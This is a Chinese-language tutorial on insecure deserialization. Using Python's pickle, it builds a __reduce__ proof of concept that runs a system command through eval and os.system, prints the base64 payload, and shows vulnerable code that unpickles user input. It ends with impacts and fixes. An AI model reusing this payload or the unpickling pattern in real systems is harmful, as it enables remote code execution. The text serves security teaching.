【WEB安全】不安全的反序列化

简介: 1.1. 什么是序列化和反序列化 序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。 序列化是指将对象或数据结构转换为字节流的过程。 在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后

1.1. 什么是序列化和反序列化

序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。

序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后可以通过反序列化操作重新构建对象并恢复其状态和数据。

反序列化是指将序列化后的字节流转换回对象或数据结构的过程。在反序列化过程中,字节流被读取并解析,以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保存的对象或接收通过网络传输的序列化数据。通过反序列化,可以重新构建对象并恢复其之前序列化的状态和数据。

序列化和反序列化在许多领域都有广泛的应用,例如分布式系统、持久化存储、缓存机制以及跨平台通信。它们允许将复杂的对象或数据结构转换为字节流进行传输或存储,从而实现不同系统之间的数据交换和共享。

1.2. 漏洞介绍

不安全的反序列化是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。

以下是一些常见的不安全反序列化的情况:

  1. 不受限制的反序列化:如果反序列化操作没有适当的验证和限制,允许任意的序列化数据被反序列化,攻击者可以构造恶意的序列化数据来执行恶意代码。
  2. 未经过滤的输入:如果反序列化操作接受未经过滤的输入数据,攻击者可以通过构造特定的恶意数据来执行命令或导致不受控制的行为。
  3. 自定义的反序列化逻辑:如果使用自定义的反序列化逻辑而不是使用安全的序列化库或框架,可能会导致安全问题。自定义逻辑可能缺乏必要的安全验证和过滤步骤,从而容易受到攻击。
  4. 恶意的序列化数据:如果攻击者能够在反序列化操作中提供恶意构造的序列化数据,可能会导致命令执行或其他不受控制的行为。

1.3. 复现过程

网上大多是采用的php进行复现,一搜一大堆,这里我们用Python的pickle模块来进行复现。

1.3.1. pickle模块介绍

参考 doc,可见是一个序列化模块。

pickle doc

基础使用如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

data

1.3.2. 魔术方法 reduce()

在Python中,__reduce__()是一个特殊方法,用于定义对象的序列化行为。当使用pickle模块对对象进行序列化和反序列化时,__reduce__()方法会被调用。

__reduce__()方法应该返回一个元组(),其中包含两个或三个元素。元组的第一个元素是用于重新构建对象的函数,第二个元素是传递给构建函数的参数(通常是一个元组),而第三个元素(可选)是用于恢复对象状态的可迭代对象。

简单来说,我们可以通过重写__reduse__()函数,来修改数据反序列化的方式。

修改刚才的代码,举例如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        print("Calling __reduce__()")
        # return (self.__class__, (self.value,))
        return (print, ("reduse poc test",))


# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

可见在反序列化的时候,调用的是我们重写时用的print方法。

unser

1.3.3. 漏洞场景举例复现

假设漏洞场景代码如下,其中userInput是我们可以控制输入的地方:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = ""
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

根据上述代码,构造POC代码,生成序列化的内容,其中编写__reduse__()函数如下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        return (eval, ('__import__("os").system("whoami")',))


person = Person("d4m1ts", 18)
serialized_data = pickle.dumps(person)
print(base64.b64encode(serialized_data).decode())

得到payload为: gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu

把payload插入漏洞场景测试一下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = "gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu"
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

success

可见成功执行了系统命令。

总结一下复现过程,就是写一个__reduse__函数来改变反序列化的行为即可。

1.4. 漏洞危害

  1. 远程代码执行:攻击者可以通过构造恶意序列化数据注入和执行任意代码,从而完全控制目标系统,并执行恶意操作。
  2. 远程命令执行:攻击者可以通过反序列化漏洞在目标系统上执行远程命令,从而对其他系统或网络资源造成进一步的威胁。
  3. 信息泄露:攻击者可以利用反序列化漏洞读取和获取目标系统中的敏感信息,例如数据库凭据、用户密码、加密密钥等。
  4. 拒绝服务(DoS)攻击:攻击者可以发送恶意序列化数据来触发异常或消耗过多的系统资源,导致系统崩溃或无法提供正常的服务。

1.5. 修复建议

  • 使用安全的序列化库或框架,这些库经过严格测试和审查,并提供了适当的安全防护机制。
  • 对反序列化输入进行严格的验证和过滤,只接受预期的数据格式和内容。
  • 不要从不受信任的来源接受序列化数据,尽量限制数据来源。
  • 定期更新和修复序列化库和相关组件,以获取最新的安全修补程序。
  • 配置系统和应用程序的安全设置,限制恶意代码执行的可能性。
目录
相关文章
|
5天前
|
SQL 负载均衡 安全
安全至上:Web应用防火墙技术深度剖析与实战
【10月更文挑战第29天】在数字化时代,Web应用防火墙(WAF)成为保护Web应用免受攻击的关键技术。本文深入解析WAF的工作原理和核心组件,如Envoy和Coraza,并提供实战指南,涵盖动态加载规则、集成威胁情报、高可用性配置等内容,帮助开发者和安全专家构建更安全的Web环境。
16 1
|
7天前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
35 4
|
6天前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
29 2
|
9天前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
42 3
|
11天前
|
SQL 安全 Go
PHP在Web开发中的安全实践与防范措施###
【10月更文挑战第22天】 本文深入探讨了PHP在Web开发中面临的主要安全挑战,包括SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等,并详细阐述了针对这些风险的有效防范策略。通过具体案例分析,揭示了安全编码的重要性,以及如何结合PHP特性与最佳实践来加固Web应用的安全性。全文旨在为开发者提供实用的安全指南,帮助构建更加安全可靠的PHP Web应用。 ###
26 1
|
14天前
|
Kubernetes 安全 应用服务中间件
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
33 3
|
1月前
|
缓存 安全 JavaScript
掌握JAMstack:构建更快、更安全的Web应用
JAMstack 是一种现代 Web 开发架构,结合 JavaScript、APIs 和 Markup,创建更快、更安全的 Web 应用。其核心优势包括高性能、安全性、可扩展性和易维护性。JAMstack 通过预构建静态页面和 API 实现高效渲染,利用静态站点生成器如 Gatsby 和 Next.js,并借助 CDN 和缓存策略提升全球访问速度。尽管面临复杂交互、SEO 和数据更新等挑战,但通过 Serverless Functions、预渲染和实时 API 更新等方案,这些挑战正逐步得到解决。
|
1月前
|
监控 安全 Apache
构建安全的URL重定向策略:确保从Web到App平滑过渡的最佳实践
【10月更文挑战第2天】URL重定向是Web开发中常见的操作,它允许服务器根据请求的URL将用户重定向到另一个URL。然而,如果重定向过程没有得到妥善处理,可能会导致安全漏洞,如开放重定向攻击。因此,确保重定向过程的安全性至关重要。
51 0
|
1月前
|
云安全 SQL 安全
数字时代下的Web应用程序安全:漏洞扫描服务的功能与优势
在当今这个数字化时代,Web应用程序不仅是企业与用户之间互动的桥梁,更是企业展示服务、传递价值的核心平台。然而,随着技术的不断进步,Web应用程序的复杂性也在不断增加,这为恶意攻击者提供了可乘之机。安全漏洞的频发,如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等,严重威胁着企业的数据安全、服务稳定性乃至经济利益。在这样的背景下,漏洞扫描服务作为一道重要的安全防线,显得尤为重要。本文将深入探讨漏洞扫描服务在面对Web应用程序安全问题时,所具备的功能优势。
|
2月前
|
SQL 开发框架 安全
Web开发中常见的安全缺陷及解决办法
Web开发中常见的安全缺陷及解决办法